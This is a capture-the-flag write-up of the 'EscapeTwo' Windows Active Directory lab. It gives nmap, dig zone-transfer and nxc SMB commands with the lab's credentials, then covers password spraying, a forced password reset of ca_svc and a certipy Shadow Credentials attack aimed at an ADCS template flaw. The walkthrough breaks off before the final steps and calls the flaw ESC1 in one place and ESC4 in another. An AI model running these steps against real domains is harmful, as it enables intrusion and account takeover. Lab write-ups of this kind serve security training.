EscapeTwo is an easy difficulty Windows Active Directory machine focused on chained misconfigurations leading to domain compromise. The scenario starts with provided credentials for a low-privileged domain user, which are used to access an SMB share containing corrupted Excel files. Analyzing these reveals passwords, which are sprayed across the domain, uncovering a user with MSSQL access. Using this, we extract SQL credentials and perform a second spray, gaining WinRM access. Further enumeration reveals WriteOwner privileges over a user tied to ADCS (Active Directory Certificate Services). We identify a vulnerable ESC1 template misconfiguration and abuse it to request a certificate, retrieve the Administrator NTLM hash, and fully compromise the domain.
Nmap
TCP
Run a quick Nmap TCP scan:
1
sudo nmap -sV$IP--open
UDP
Check top 100 UDP ports:
1
sudo nmap -sU-F$IP
Full Port Scan
1
sudo nmap -sV-sC-p-$IP-Pn-n-v--open
Services
Port 53
Version: Simple DNS Plus
Domain: sequel.htb
dig any DNS records
1
dig any **sequel.htb** @$IP
Zone Transfer
1
dig axfr @$IP**sequel.htb**
Port 139/445
1
sudo nxc smb $IP-u support -p'#00^BlackKnight'-M spider_plus -oEXCLUDE_DIR=IPC$
1
sudo nxc smb $IP-u rose -p'KxEPkKe6R8su'--shares
There were 2 xlsx files under Account Department share, I unzipped them and found some passwords inside.
We have a shell as sql_svc but service account doesn’t have any high privileges neither have privileges over other objects. As SQL2019 directory is non-default in root I will dig in it a bit.
I found a configuration file and found a password for sql_svc account, I checked this password for ryan user and found that it works for him too.
net rpc password ca_svc 'Password1234'-U sequel.htb/ryan%'WqSZAF6CysDQbGb3'-S$IP
Owned ca_svc
ca_svc service account is a member of Cert Publishers domain group. Group is the “Cert Publishers” built-in group whose members usually are the servers where AD CS is installed (i.e. PKI/CA).
Running certipy I see that target os vulnerable to ESC4 vulnerability:
I was trying to perform this attack with password but kept failing, I understood that in case of writeowner permission better to obtained object’s hash which is set already in original setup, without changing anything, that’s why I used Shadow Credentials attack to obtained NTLM hash of ca_svc user.
1
certipy shadow auto -u ryan@sequel.htb -p WqSZAF6CysDQbGb3 -account'ca_svc'-dc-ip 10.10.11.51